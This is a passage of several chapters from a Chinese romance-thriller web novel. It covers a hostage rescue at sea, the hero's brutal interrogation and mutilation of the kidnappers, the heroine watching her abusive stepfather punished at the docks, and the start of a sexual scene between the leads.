楼铮的杀心一起,再也按不下去。 但他神色依然平淡。 “我是楼家继承人,你绑我,得到的钱更多,而且,为了我的安全,楼家什么条件都能答应你。” 楼铮一点点靠近。 先是脱了外套扔给陆枭,接着,又拔了腰上的枪。 把裤子口袋翻到外面给他看。 光头眼看着他越走越近。 他现在已经不想要钱,只想活命。 拿着枪的手抖了一瞬,又恢复平静。 沈韫浓看着楼铮,起初根本说不出话来。 但她在拼命摇头。 一直到楼铮走近,她才用尽全力从喉间发出声来:“不要!楼铮,你走!” 众人已经快被吓疯了。 原本他们的任务只是营救沈韫浓,没想到此时事情变得更加难办起来。 光头看着楼铮一点点走近,心也突突跳。 “让这些人都把枪扔了,下船!”他怒吼,枪口依然对着沈韫浓。 他的手在抖,很可能会擦枪走火。 楼铮不敢赌。 “陆枭,你带他们下船。”他沉声吩咐。 陆枭头一次忤逆他:“老板,我不能走!我跟沈小姐换!” 楼铮看他一眼:“你以为是谁都能换的?现在,带着他们回自己船上去。” “老板!”陆枭喊了一声,他觉得楼铮疯了。 他不能看着他送命。 “别让我再多说一遍。"楼铮的声音陡冷。 此时,沈韫浓也突然开口:“楼铮,你也下船。我不需要你救我!” 她的声音已经没了刚才的慌乱,语气坚定又平稳。 在她的眼神里,楼铮看到了……赴死的勇气。 是为了他吧。 心动来的不合时宜,被楼铮强压下去。 “你考虑考虑,绑我比绑她的性价比高多了。”他继续游说。 光头当然知道,但现在已经不是性价比的问题了,是他得活下去。 如果时光能倒流,那500万他怎么也不敢要。 更何况,这件事楼铮已经搅了进来,不绑他,自己也是死。 绑他,如果能拿到一笔钱逃命…… “让他们先下船!”他的枪口指了一遍陆枭和他带来的人,接着又回到沈韫浓的太阳穴上。 楼铮的神色也变得肃冷,看向陆枭:“陆枭,我现在命令你下船。” 他的语气和表情带着不容违抗的威严。 陆枭叹了口气,对众人挥手:“走!” 一时间,众人从船上撤离,带走了被绑的起来的那几个喽啰。 船上只剩光头,沈韫浓和楼铮三个人。 而楼铮还在往前走,不仅如此,他还把衬衫袖口挽起,表明自己身上没有藏任何东西。 沈韫浓看着他一步步走到自己面前,疯狂摇头。 楼铮是疯了吗? 为什么要来换她? 他的命可比她值钱多了。 胡思乱想间,沈韫浓被楼铮猛地一推。 接着,换他站在了光头的枪口下。 楼铮望着她笑:“你也下船,去找陆枭。” 沈韫浓不动。 船上所有人都已经被挟持带走,船早在不知不觉间已经停了。 “找个人过来给我开船!再给我钱!直到我彻底安全之前,你都不能离开!”光头虽然声音很大,但明显底气不足。 楼铮:“可以,我手机不在。你对着5点钟方向那艘船喊一声,他们能满足你的要求。” 光头怒吼:“你当我是猪吗?你去告诉他们!” 楼铮:“好,那我们先出舱。” 他举着手,跟光头一同一步步往前挪动,此时,谁也没注意,沈韫浓蹲下身,捡起了楼铮丢下的那把枪。 第一百零八章 神枪手和小花猫 楼铮举着双手,带着光头一步步往船舱外走。 他手无寸铁,还被光头的枪指在太阳穴上,步伐却云淡风轻,丝毫不显慌乱。 相比起来,反而是光头,走路时腿都在打摆子。 沈韫浓在两人背后,举起楼铮扔掉的那把枪。 她叫了一声“楼铮”。 楼铮并没有见她拿枪,偏偏跟有心灵感应似的,听到她叫自己名字,第一反应不是回头,而是把光头猛地一推。 “砰!” “砰砰!” 沈韫浓没有章法地胡乱开了几枪。 她是个玩光电射击都能脱靶的人,用真枪自然也没有什么技巧可言。 开枪时,她的脑子里只有一个念头,避开楼铮。 楼铮不受伤就没事,她可以和光头同归于尽。 光头没料到她敢动枪,又在穷途末路的恐惧中,被沈韫浓一枪打中肩膀的时候,第一反应是先愣了一下。 这一下,一颗子弹擦在他耳边打过去,另一颗,打在了他右胸上。 还没来得及反应,手里的枪被夺走。 接着,双腿的膝窝处,又各中了两枪—— 这两枪是楼铮打的。 光头跪倒在地,发出杀猪一样的惨叫。 那几艘船上的人也听到了动静,陆枭已经带了人打上来。 看到眼前的场景,陆枭吃了一惊。 不意外的是,楼铮成功脱险,光头被控制。 意外的是,沈韫浓顶着一身一脸的血,举着枪站在船头,眼底那颗泪痣,美丽又妖冶,看上去惊心动魄。 看这场景,竟然是她保护了楼铮。 陆枭目瞪口呆。 在此之前,他一直拿沈韫浓当乖乖女来着,原来他错的这么离谱。 他看向楼铮。 楼铮勾唇,踢了一脚地上嚎得杀猪一样的光头,对陆枭淡声道:“带走吧,留活口,审。” 没看错的话,他眼底的神色是骄傲和……得意? 陆枭不敢怠慢,连忙让人把光头绑了,带到别的船上。 又派人把舱外的遥控炸弹拆了。 沈韫浓这才发现不对。 “这是?”刚经历了人生中第一次生死修罗场,她声音有点虚。 楼铮:“我只要能把他带到这个位置,他必死。” 原来刚才那些都是做给绑匪看的,楼铮并非全无防备。 沈韫浓突然松懈下来。 所有的危险都解除,她开始腿软。 “楼铮。”沈韫浓喊了一声。 听出她声音里的异样,楼铮大步走过去。 “还好吗?”刚问出口,沈韫浓直接身子一软,倒在了他怀里,就这么晕倒了过去。 楼铮将她打横抱起来,心里掀起惊涛巨浪。 他没有恋爱过,人生的前23年也没有想过要给女人在心里留位置,他要什么有什么,总觉得自己的情绪阈值很高,很难被什么打动。 直到她的出现。 这世上再没有一个人像沈韫浓一样,操纵他的情绪起伏,让他情愿为她只身赴死。 他多数时候甘之如饴,少数时候因为她的逃避和不解风情觉得委屈。可在看到她挺身而出保护自己的那一刻,楼铮觉得什么都值了。 他将她在怀里抱紧,压在自己的胸口。 船只返航,沈韫浓没什么大碍,只是情绪起伏太大,身体不能承受了而已。 她在楼铮怀里沉沉地睡了一觉,醒来时,天已经亮了。 她揉着发胀的脑袋直起身子,一抬眼,便看到楼铮已经长出青色胡茬的下巴。 不邋遢,很帅。 注意到怀里人的动静,楼铮低头看她。 “再睡会,还有半小时靠岸。” 沈韫浓醒后低血糖,得缓缓。 她眨眨蒙了一层雾的眼睛,有一滴眼泪从眼角滑下来,好一会儿才开口:“楼铮,真好啊,我们都活着。” 语气里倒是没什么劫后余生的庆幸,像一种纯粹的感慨。 楼铮托着她带着血污的脸看,眼神痴迷,声音也温柔:“嗯,也是同生共死过的人了,不结为夫妻怕是说不过去。” 这话沈韫浓没接。 她干咳了一声,转移话题:“那人还活着吗?” 楼铮笑:“当然,沈助理是神枪手,刻意打在心脏三公分远处,既吓人,又能留他一条狗命。” 沈韫浓:“……你是不是在阴阳我?” 她那个乱拳打死老师傅的打法,没误伤楼铮已经是万幸。 看她掉脸儿,楼铮心里想笑,又赶忙哄:“第一次摸枪,能到这个程度,已经很厉害了。等过了这阵子,我教你,管保你能指哪儿打哪儿。” 这话,沈韫浓又没接。 她以后的人生规划跟楼铮没什么关系,回海市后,两人如果咱有交集也就是还回那条手链了。 之后,他们会变成两条平行线,回到各自的世界去。 相逢种种,再回忆起来,不过是一场五彩斑斓的梦。 在最好的年纪,喝过最烈的酒,睡过最抢手的男人,还一起经历过生死,就算以后的日子都平淡如白水,那也值了。 楼铮不知道她的心思,只当她刚睡醒还蒙着,伸手替她揉了揉头。 沈韫浓又问:“我妈……” “顾阿姨现在人在我那儿,很安全。” 楼铮说,贺今朝乖觉,在听说他出海救人的第一时间就把顾曦薇交给了楼明月。 这么做无非是怕惹上嫌疑,被楼铮和贺韶瑭把账算到他头上。 一颗心终于落到实处,沈韫浓长舒了口气。 “所以,你是故意以身涉险,把这件事闹大。”沈韫浓总结。 楼铮:“差不多。” 但更多的是担心她的安危,才执意要亲自来救人。 他在跟前看着,怎么都翻不了天,他不在,出了什么意外,他会后悔一辈子。 这话太肉麻,楼铮说不出来。 他也不知道这家伙懂不懂。 此时,两人肩并肩坐着,手臂贴在一起,沈韫浓许是没反应过来,并没有像过去一样躲他远远的。 他心动得厉害,胸腔里爱意疯长。 船靠岸后,沈韫浓没能第一时间见到顾曦薇,她先被带到了医院里。 各项检查做了一遍,没什么大碍。 伤口又擦了药,一直折腾到中午,楼铮才对陆枭说:“送沈助理回去。” “你呢?”沈韫浓问。 楼铮:“收拾残局,我人在澳城出了这么大的事,总得有人给我个交代。” 沈韫浓下意识道:“那你注意安全。” 楼铮看她,目光赤裸到肆无忌惮。 “担心我啊?” 沈韫浓被盯得不自在,轻轻地“嗯”了一声,垂下眼去不答。 “还算你有良心。”楼铮倏地笑了一下,他的指腹落在她脸上,温柔地一寸寸拂过。 “回去洗个澡,好好睡一觉,其余的都不要操心。小花猫。” 最后三个字,带着宠溺的笑意。 楼铮身后的门上,有一块镜子,映出她的模样,的确狼狈。 沈韫浓的脸蓦地红了。 第一百零九章 她来叫停 陆枭送沈韫浓回半山别墅。 沈韫浓坐在后排,通过最前面的倒车镜看他,几次欲言又止。 到后来,才实在忍不住:“陆先生,咱们在海市的时候,见过是不是?” 她总觉得自己在小区里跟沈英耀动手那次,陆枭似乎在不远处。 而且,那之后有几次,在公共场合,视线里也有这么个人。 他长得太凶,又有辨识度,很难让人忽略。 陆枭惊讶于她的敏锐,只好实话实说:“对,沈家出事后,小爷怕您遇到危险,派我保护您。” 果然,她的直觉没出错。 问完了,沈韫浓才发现自己竟然无法给出一个合适反应。 她尴尬地道了声谢,想说以后就不要这样了,她不想欠楼铮人情。 想来想去,也没有说出口。 一来,她的话陆枭不会听,他是否保护她要楼铮说了算。二来,她欠楼铮的已经太多,这笔烂账已经还不清了。 等回海市再说吧,到时候把手链给他,再好好谈谈。 也算给自己一个交代。 楼铮为她做了那么多事,已经不是简单的“上头”可以解释的。 沈韫浓10岁后跟着顾曦薇漂泊,为了活下去,她的心比一般人坚硬一些,可人到底不是机器,没办法做到按照写好的程序运行,不动一丝感情。 经过澳城一行,有些她坚守的东西,也正在阳光下一点点风化崩塌。 她快投降了,再不离楼铮远远的,她一定会忍不住去做楼铮的情人,小三,做那个她之前最不齿的角色。 她觉得恐慌。 这件事楼铮不叫停,她来叫。 沈韫浓在后排沉默不语,神色复杂。 陆枭不懂女人,也不知道她想什么,急得一脑门汗。 死嘴,快帮老板说点好话啊! 他越催自己,越不知道说什么,憋了好半天,才说:“老板对别人不这样,他只对您这样。” 说完又觉得自己多此一举,当然是只对她这样,除了她,楼铮有多少条命也不至于去绑匪的枪口下换人啊。 沈韫浓笑了一下。 “楼铮是个好人。”她说。 ……就这? 换个人被楼小爷这么对待,不该感动哭了非他不嫁? 陆枭越来越看不懂两人。 但即便如此,他依然觉得沈韫浓和楼铮实在登对,特别是她举着枪一身血站在船头的样子,太帅了! 这样的女人才配得上他的老大。 这边,沈韫浓被送回别墅,那边,楼铮已经让人把两船的人都绑到了一个会所里审。 会所是贺韶瑭的地盘,保镖也多数是贺韶瑭的人,他临时借用。 两艘船上的人加起来有20几个,其中有几个受了伤,胳膊腿上都绑了绷带。 光头伤得最重,被人用轮椅带来,又当着楼铮的面,从轮椅上一脚踢下来,匍匐在了楼铮脚边。 接应的那艘船上都是东南亚人,没有同胞。 但他们看光头这艘船上的人一个个吓得瑟瑟发抖,都知道沙发上坐着的男人不好惹,一个个也都脸色发白,不敢作声。 给沈韫浓“验身”的那个妈妈桑,胆子稍微大一点。 她偷眼瞧着坐在沙发主位的男人,暗自盘算着脱身的可能性。 面前的男人,穿着矜贵的高定西装,左耳上带着一枚小小的钻石耳钉,五官硬朗却不失精致,脸上的神色淡淡的,不辨喜怒。 一双眼看人时,带了点睥睨的意思,让人想逃。 此时,那双眼睛扫视过来,清清冷冷的一眼,并没有特地落到谁脸上,那妈妈桑却在心里打了个突,快速低下头去。 楼铮靠着沙发,交叠着一双长腿坐着。 他点了根烟,吸了两口,才道:“说说吧。” 这一句,也不知在说谁。 这些人都低着头,没一个敢当出头鸟的。 门口的保镖其中一个走过来,对着站在边上的人就是一脚。 那人直直地跪了下来。 “没听到小爷问话呢,你先说。” 那人吓得一头一脸的汗,顺着脖子往下淌,跪在地上直哆嗦。 “我,我什么都不知道,我都是听龙哥的!”那人说,把眼睛投向趴在楼铮脚边,裹成木乃伊的光头。 他这些年在这艘船上,也做了不少脏事,今天落到楼铮手里,也实在不冤。 可他不这么想,其他喽啰也不这么想,他们觉得自己倒霉,怪就怪光头脑子不清楚,绑谁不好,绑了这么个姑奶奶。 他一开口,这艘船上的其他喽啰也都附和:“对,我们什么都不知道,都是龙哥让我们干的。” 这帮人见证了楼铮的人在船上开枪的狠厉,眼下都不用严刑拷打,一个个的马上先把光头供出来。 光头身上的子弹倒是取了,但因为楼铮吩咐,不许用麻药,此时疼得只剩一口气吊着,连瞪一眼那些人的力气都没有。 他只有出的气,没有进的气,趴在楼铮脚边奄奄一息。 楼铮看着厌恶,又看一眼那帮东南亚人。 “你们说。” 他们只是听安排来接人,更是什么都不知道。 不得已,那个妈妈桑开口:“我们不是第一次合作了,之前阿龙也卖了好几个人过来,我们只是过来接人,具体情况并不知道。” 楼铮见多识广,一眼便看出了她的身份。 脸上没什么多余的表情,但眼里的寒意深了一层。 他抬脚踢了踢光头的脸,用皮鞋碾上去。 “卖我的人?打算卖多少?” 光头还在倒气,像一条被从水里拎上来的胖头鱼,好像下一秒就要死掉。 他呜呜咽咽说不出话来。 楼铮又问那个妈妈桑:“你说。” 妈妈桑吓得头垂得很低,整个人瑟缩起来:“300万……” “300万?” “本来500万,但是那位小姐她不是……” 话一出口妈妈桑马上后悔了,她说这个做什么,一定是吓昏了头。 她吓得咬下唇都白了,骨头一软,跪在了地上。 这个但是,楼铮又听懂了。 “你动她了?”他站起身,声音拔高了一个度。 整个会所如同一个冰窖,所有人都被冻得瑟瑟发抖。 “没,没有。她说她不是,我就没验了。”妈妈桑赶忙说。 此时,楼铮的脸已经没了刚才的淡然,是一片阴寒。 他又看向光头:“沈韫浓那颗扣子是你扯掉的。” 肯定句。 楼铮脚下用力,皮鞋在他的脸上碾出青紫色。 “谁让你来的啊,跟我说说?” 光头缩成一团,依旧说不出话。 “不说是吧?” 楼铮一双眼睛扫视了一圈众人,拿过烟灰缸,按熄了手里的烟。 他踩在光头脸上的那只脚点了两下。 “让我想想,该怎么办好呢,你摘了她一颗扣子,那就还她一只耳朵吧。” 话音刚落,房间内响起惨叫声,这世上瞬间多了两个梵高。 惨叫声继续,一只耳的数目增加。 巨大的压迫感让光头从喉咙里挤出一个声音来—— “我说,我都说!” 第一百一十章 带你去个好地方 会所房间里弥漫着浓重的血腥味。 一群“一只耳”疼得吱哇乱叫,还有一群即将变成“一只耳”的人瑟瑟发抖。 光头匍匐在楼铮脚边,说他也不知道是谁,那人把一箱现金放在一个房子里让他去取,里面有200万,还告诉他事成之后,还有300万给他。 “你跟那个人怎么联系?”楼铮问。 “有一个手机号,我手机里可以查。”光头说。 他的手机已经被楼铮的人收走,手下人递过来,楼铮用他的脸开机。 “这个吗?”他指着第一个号码问。 “对对!”光头连连点头。 楼铮再打过去,已经关机了。 那是个海外IP,不好查。 “把这个给贺韶瑭,让他去查。”楼铮对手下说。 手下应声去了。 “还有别的吗?”楼铮又问。 “你可得想好了,要是有什么事你知道却交代不清楚,让我从别处知道了,可就不是少个耳朵那么简单了。” 他的那只脚从光头的脸上,直接挪到了他胸口枪眼的位置。 光头从气管里憋出一声惨叫。 声音很低,他看上去随时会疼死。 “我说的千真万确,绝对没有任何隐瞒。”他气若游丝,渗出的血已经把脚下的地毯染透了。 楼铮笑了一下,站起身来。 “你们呢?你们还有什么要交代的吗?给我最关键信息的人,耳朵可以保住。” 楼铮的笑容冻在唇边,不达眼底。 一屋子人已经连吓带疼,晕倒了好几个。 “我有!”那个妈妈桑鼓足了勇气说。 她是屋子里唯一的女人,相对来说竟然是最有种的。 “说。” “他在听说那位小姐不是雏儿后,让我先回去,还想强暴那位小姐!” 这句话一出口,光头已经不能用害怕来形容,他在地上爬着往门口方向走,惊恐的模样像被恶鬼缠身。 楼铮的眸子深不见底,他看了看那位妈妈桑。 “好,你的耳朵保住了。”他说。 又看了一眼门口的保镖们,说:“我见不得打女人,交给你们了,留条命。” 果然有个保镖过来拉她。 “至于你。”楼铮看着地上的光头,“你猜我会怎么处理?” 光头不敢说话,竟然吓得吐出了一口带着白沫的血来。 “饶了我吧,楼小爷,我再也不敢了。”他粗嘎着嗓子求饶。 人在极度恐惧的情况下,真的会失禁,光头趴在地毯上,不止有血渍,还出现了一滩黄色液体。 楼铮冷笑,走到面前居高临下的看他:“你也就这点能耐了。就这怂样,还想动我的人呢。” 光头挣扎起来,向他磕头:“不敢,不敢了……” 楼铮嗤笑一声,踢开那双准备抱他腿的手,冷声吩咐保镖:“阉了。” …… 沈韫浓被陆枭送回到半山别墅后,也看见了一个多月没见的顾曦薇。 顾曦薇已经被安顿好,听说沈韫浓到了,从楼上跑下来见她。 “宝宝,妈妈以为再也见不到你了。”一见沈韫浓,顾曦薇先红了眼睛。 沈韫浓不动,打量自己的母亲。 顾曦薇虽然穿得依旧光鲜亮丽,脸上和身上也没有带伤,但神色肉眼可见地憔悴了不少。 她先看见沈韫浓脸上的伤,捧住她的脸。 “宝宝,这是为了救妈妈受的伤吗?都是妈妈不好,连累了你……”顾曦薇的嗓音带了哭腔,一滴眼泪落在了沈韫浓的脸上。 沈韫浓太了解自己的母亲,知道她是表演型人格,时不时就要来这么一出。 可了解归了解,生气归生气。 一见她,这几天的担忧还是涌上心头,满脑子只剩一句:人没事就好。 她们这段母女关系分明是错位的,沈韫浓有时候觉得自己才像一个操碎心的母亲,而顾曦薇是她青春期的女儿。 沈韫浓被顾曦薇捧着脸,心酸委屈一股脑儿涌上来。 她知道自己该数落顾曦薇一顿,让她长长记性。 可到头来,也不过说了一句:“妈,你知道错了吗?” “我知道宝宝,妈妈知道的。”顾曦薇赶忙说,像一个做错事的孩子,低下头去。 沈韫浓深深地叹了口气。 “你也上去休息吧,我们明天一早回海市。”她说。 顾曦薇几次欲言又止,上楼前依然回头问她:“这个别墅是楼铮的吗?他为什么愿意帮你?” 沈韫浓笑一声,定定地抬头看她:“你想说什么?” 顾曦薇嗫喏:“宝宝,妈妈没有别的意思,就是希望你能幸福。如果楼铮真的喜欢你,你就把握好机会……” 沈韫浓冷冷打断她:“妈,你一辈子都在靠男人,感觉如何?男人靠得住吗?” 这句话直接打在了顾曦薇脸上。 也许是因为心虚,顾曦薇抿了唇,终是没跟她吵。她的脸色涨红,看上去很难堪,也只说:“我们有代沟,妈妈不问你的事就是了。” 她脚步匆匆地上了楼。 望着顾曦薇的背影,沈韫浓的心像被人给了重重的一闷棍,疼得透不过气来。 她如何不知道那样的话有多伤害顾曦薇,毕竟顾曦薇还依靠男人养活过她。 可不说,顾曦薇永远不长记性。 她美丽天真的母亲,永远在男人身上栽跟头。 沈韫浓回了房间,心里压抑得厉害,把自己蒙在被子里睡了一觉,再醒来是被贺韶瑭吵醒的。 天已经快黑了,贺韶瑭打她的电话。 “出来,我带你去个好地方。” “我哪儿也不想去。”沈韫浓声音发懵,带着刚睡醒的沙哑。 贺韶瑭那边顿了一下。 “刚睡醒吗?”他的语气不自觉温软了许多,但依然无视了沈韫浓哪儿也不想去的需求,“真的是好地方,不骗你。”。 奈何沈韫浓脑子一团浆糊,根本没听出不对。 她无奈地“嗯”了一声。 “那你慢慢起,我在停车场等你。” 一直挂了电话,沈韫浓还是蒙圈状态。 她洗了把脸,逼迫自己清醒。又回忆了一下贺韶瑭的话。 好像是说等她什么的吧? 她想告诉楼铮一声,管家说楼铮还没有回来,吸取昨天去酒店的教训,她便给楼铮打了个电话。 此时,楼铮还在会所里发脾气,鼻腔里充斥着满屋子的血腥味。 看到沈韫浓打来的电话,他下意识拿着手机去了外面,好像生怕这场面通过电波污染了她一般。 “你在忙吗?”沈韫浓问。 第一百一十一章 报应 楼铮温声:“还好,不忙,怎么了?” 于是,沈韫浓说了贺韶瑭找她的事。 “我感觉他没有恶意,应该是跟我妈有关的事,我可以去吗?” 沈韫浓的本意是让楼铮判断这件事的安全系数,听着楼铮耳内,简直就是报备了。 他的心脏发出“砰”的一声,吵到了自己的耳朵,面上却不动声色:“去吧,我让陆枭开车在后面保护你。” 对于这事,沈韫浓没有疑义。 毕竟这里是澳城,实在不安全。等回了海市,她再跟他谈不让陆枭保护的事比较好。 跟楼铮通过电话,沈韫浓便去了停车场,贺韶瑭立在跑车旁等她。 一见她的模样直接笑了:“你怎么永远这么不拘一格。” 沈韫浓知道他在笑自己邋遢。 她的头发乱糟糟的,身上那件宽松的棉布裙子像睡衣,脸上还带着两大块淤青。 “澳城太危险,丑一点比较安心。”她一边上车,一边说。 看她还有心情开玩笑,贺韶瑭稍稍放下心来。 可平心而论,她是真不丑,哪怕素颜还带着伤,都能让人看出好底子。 贺韶瑭没有再调侃,沉默开车,他的心默不作声乱了一拍。 他的跑车一路从市中心开到港口。 “来这儿做什么?” 有了船上的经历,沈韫浓现在看见这种地方都觉得害怕。 “看热闹。”贺韶瑭说,把车停好,又替她拉副驾的车门。 这么混不吝的人突然绅士起来,让沈韫浓不自在。 “贺少,我自己来。”她说。 下了车,两人一路往码头方向走。 此时,有一艘货船刚靠岸,装卸工排成长队过来卸货。 装卸工们无一例外,都穿着粗布沙滩裤,裸着上身,皮肤被海风吹得黝黑,肩膀上一大片装卸货物留下的红痕。 沈韫浓不知道贺韶瑭让自己看这些做什么,只觉得莫名其妙。 她正要问,却听贺韶瑭说:“来了!” 再转头,沈韫浓发现沈英耀从海运集装箱里出来,肩上背着两个麻袋。 他要面子,不肯打赤膊,身上的T恤已经被汗湿透了。 眼球往外凸着,脸上一脸破败相。 身后,监工一鞭子抽在他身上:“快点!” 沈韫浓明显看到沈英耀的身形晃了一下,一个麻袋滚落在地上。 监工的鞭子像长了眼,瞬间落到了沈英耀的脸上和肩上。 “唔好做,唔好谂食饭(不好好干活,别想吃饭)!” 沈韫浓被打得缩在地上,竟然好长时间没能站起来。 习惯使用暴力的人,最终也会屈服于暴力,沈韫浓静静地看着,在心里感叹了一句天道好轮回。 也就是这个时候,沈英耀一双昏黄的眼睛突然看了过来。 他发现了沈韫浓。 这时,沈英耀也顾不上捡麻袋了。 他猛地站起身,直直地跟沈韫浓对视。 现在沈韫浓是他最恨的人,她顶着一张他喜欢的脸,把他逼上了绝路。 “我要杀了你,都怪你!害我走到了这一步!” 沈英耀发了疯,对着沈韫浓爆冲过来。 他从腰里拿出了一把刀,捅向了沈韫浓的脖子。 一切发生的太快,周围的监工都没反应过来。 沈英耀拿着那把刀冲上来的时候,不远处的陆枭还没来得及出手。 好在贺韶瑭就在沈韫浓身边,没见他怎么用力,随意地拉住沈英耀的手臂一扯,那把刀就落到了地上。 接着,保镖从四面八方冲上来,沈英耀被原地按住。 沈英耀一双眼睛盯着沈韫浓,他双目赤红,眼里是无尽的恨意。 “我要杀了你!” “要死,咱们一起死!” 他歇斯底里,疯狂叫嚣。 “闭嘴!” 直到陆枭给了他一脚,沈英耀才安静下来。 但他一双浑浊的眼睛盯着沈韫浓不放。 沈韫浓走到他面前去。 “我以为你跟你妈一样蠢,还是小看了你。”沈英耀冷笑。 沈韫浓勾了下唇:“我以为扳倒你至少要用个几年功夫,也高看了你。” 这句话再次戳中了沈英耀的软肋,他无能狂怒:“沈韫浓,你以为你有什么了不起,不过是长了一张能看的脸,让这些男人愿意哄着你。早知道,我不可能放过你,在家里就把你……” 沈韫浓抬起手臂,抡圆了给了沈英耀两个耳光。 她不确定贺韶瑭和陆枭等人有没有听懂沈英耀在说什么,但她是个受害者,本身错不在她。 沈韫浓这两巴掌用尽了全力,沈英耀的脸当时就肿了起来。 “有本事杀了我!来,杀了我!”沈英耀又开始大喊大叫。 他穷途末路,知道自己的人生全完了,现在只有恐慌和苟活。 “杀人是违法的,我不会为了你这个畜生毁了自己。”沈韫浓浅笑了一下,看着沈英耀的眼睛说,“但我会等着,你终于受不了生活折磨的那天,自己死。” 头一次,沈英耀觉得沈韫浓的笑容这样陌生。 他恨自己低估了这个继女的能力,把自己逼到了绝路上。 货船和监工那边早就看到了这边的冲突,没有一个人敢过来劝架,都远远地看着。 “让他去干活吧,都等着呢。” 沈韫浓发话。 众人这才放开都沈英耀的钳制。 沈韫浓静静地看着他走回搬运货物的栈道上去,监工的鞭子落在,抽出一道血痕。 她曾无数次想过大仇得报的这一天,自己会多么激动和痛快。 如今,这一天来临,沈韫浓似乎和自己料想的反应不太一样。 “我们回去吧。”她说。 贺韶瑭点点头,对货船上的人喊:“给我‘好好照顾’沈先生。” “放心吧贺少!”众人齐齐答道。 回去的路上,沈韫浓一路沉默。 以至于贺韶瑭终于忍不住问她:“这么做有让你开心一点吗?” 他语气带了点小心,很为自己这几天的行为不好意思。 把人“骗”来澳城也就算了,还没保护好她,不仅如此,还反被她保护。 这都叫什么事儿吧。 如果他再不替她收拾沈英耀,简直要良心不安了。 想来想去,把他弄到码头做苦力最合适,每天受肉体折磨,想死又死不了。 沈韫浓牵动唇角,转头看他:“当然了,我一直在等他遭报应,我很高兴。” 看见她的笑容,贺韶瑭紧绷的神经松了一松。 “你什么时候回海市?”他问。 “明天。” 沈韫浓想得越早越好,免得节外生枝。 贺韶瑭点点头,又说:“我在这边处理点事,咱们海市见。” ……大可不必。 沈韫浓不想跟他有任何交集。 如今,沈英耀已经失势,顾曦薇也认清了他的真面目,她完成了一件心头大事。 再回去就是完全属于她的新生活了。 她是普通人,回去后就该过普通生活,普通人的生活里不该有贺韶瑭,也不该有楼铮。 这一切她都会回去收尾,慢慢让自己的日子回到正轨上去。 见她不回答,贺韶瑭又说:“我以为我们一起经历了那么多事,至少应该是朋友了。” 这话沈韫浓不好反驳,也没必要。 “当然,贺少。”她说。 两人再没有什么话说, 贺韶瑭将她送回去。 天色已晚,沈韫浓本以为楼铮已经回来了,没想到他依然不在。 陆枭说,他在处理那两艘船上的人。 楼铮在为自己的事奔忙,沈韫浓也不好独自去睡,干脆坐在院子里等他。 好在她白天睡了很久,并无困意。 楼铮忙到深夜才回。 一眼看到院子里沈韫浓抱着膝坐在路灯旁的长椅上,看着伶仃的小小的一团。 第一百一十二章 提裤子翻脸 楼铮的心一软。 “这么晚了不睡觉?”他的嗓音也不自觉染了夜色的温柔。 沈韫浓看到他回来,迅速起身。 一步步走近他:“在等你。一起喝一杯吗?” 她穿了一件真丝睡裙,夜光洒下来,带着水波,似乎给整个人描了个边,漂亮得不真实。 见她过来,楼铮下意识后退半步。 回来前他刚换过衣服,却依然觉得自己身上带着血腥气,不想吓到她。 他可以满手血,但她不行。 “好,我先去洗澡。”他说,之后,急匆匆撇下她先进了屋。 沈韫浓没错过楼铮的反应,也大概能猜到原因,心念一动。 楼铮想要宠一个人,有的是花样和心思,不是他不好,实在是自己没福气。 楼铮去了浴室,温热的水流在头顶蜿蜒而下。 从昨夜到现在他已经快40个小时没合眼,又累又乏,想起沈韫浓坐在长椅上等他的模样,此时,竟然觉得身心轻盈起来。 他里里外外用心清洗了很久,直到确定自己身上没有奇怪的味道,才去了餐厅。 进浴室前他已经让人准备了宵夜。 宵夜做的很简单,酒却非常好,以至于沈韫浓这种完全不懂酒的人都喝出了不一样。 口感醇厚,香气馥郁,沈韫浓什么都没说,但眼睛亮了一下。 楼铮很为取悦到她而高兴。 他压下心里的激越,淡声说:“82年的波尔多气候条件最好,葡萄最优秀,在之后的四十几年里,再也没有哪一年能超越。所以这一年的酒我藏了很多。” 要给就给她最好的。 沈韫浓捧着酒杯笑:“也是托了你的福,能喝上82年的拉菲。” 托他福的事何止是这一件? 要是没有楼铮,她现在已经死在了海上的风浪里。 楼铮献宝:“你想喝,可以把我的酒窖给你。” 沈韫浓摇头:“我不喜欢喝酒,我喜欢时时刻刻保持清醒的感觉。” 也正是因为清醒,才有诸多顾虑。 “所以今天是特例?” “嗯,借花献佛,用你的酒感谢你,还有,庆祝我重获新生。” 两人彼此交换了一下信息。 楼铮把绑匪的情况说给沈韫浓听,其中隐去了大部分血腥内容,只说用了一些手段。 但沈韫浓聪明,自然能猜到。 “那个人做的隐秘,查起来需要一点时间。但你放心,我一定查明是谁做的,给你个交代。”楼铮说。 沈韫浓替楼铮把酒倒上。 “谢谢你,楼铮。”她说。 想说的话太多,可哪一句说出来都像表白,他们的关系,最不适合的就是表白。所以只能一句谢谢,涵盖一切。 沈韫浓喉间堵了一团棉花似的卡,她从来没觉得自己表达能力这么差过。 楼铮也看出了她的纠结,嗤了一声:“放心,我不是挟恩图报饭人,不会让你以身相许。” 沈韫浓一双美眸久久凝视他,不说话。 楼铮被她盯得心口乱跳,伸手捂住她的眼睛。 “沈韫浓,别这么看着我,我是个正常男人,又刚刚喝了酒,你再这么看我,我不敢保证自己什么都不会做。” 沈韫浓握住楼铮的手,移开。 “那你——想做什么?” 这个女人,知不知道自己在问什么啊? 楼铮的心跳声大得吵到自己,面上强作镇定:“你说呢?” 沈韫浓端着自己的酒杯过去,跨坐在他腿上。 顿时,身心俱疲的人像被打了一支兴奋剂,倏地支棱起来。 他的反应,沈韫浓最清楚。 她没躲,还往前坐了坐。 “你的身体已经回答我了。”她不拿酒杯的那只手,绕上他的脖子。 楼铮整个人像被施了定身法,僵在椅子上,一动不敢动。 随即,他的眼神一瞬间发暗,双手掐住了她的腰。 “别动。”他沉声道,“你喝多了。” 沈韫浓歪头看他:“你知道的,我没有。” 她绕在他脖子上的手,开始解他的家居服衬衫。 手指被楼铮捉住。 “沈韫浓,你知不知道自己在做什么?”他的嗓子已经哑透了,刚才喝下去的那口酒,像火一样,一路从喉咙,烧到了小腹。 “当然,我在做前天晚上你没做完的事。” 原来,她知道啊…… 沈韫浓很执着,眼神里有情.欲。 那只手挣脱出来,解开了楼铮领口的两颗扣子。 楼铮的手终于放弃抵抗,反撑在椅子上。 沈韫浓倒了一点酒到他的锁骨上,之后,俯身去喝。 湿热的触感从锁骨蔓延到全身,电流蔓延到四肢百骸,楼铮觉得他快被折磨疯了。 “我给你三秒钟逃走,沈韫浓。”他喘着粗气,强行拉回一点理智,语气咬牙切齿。 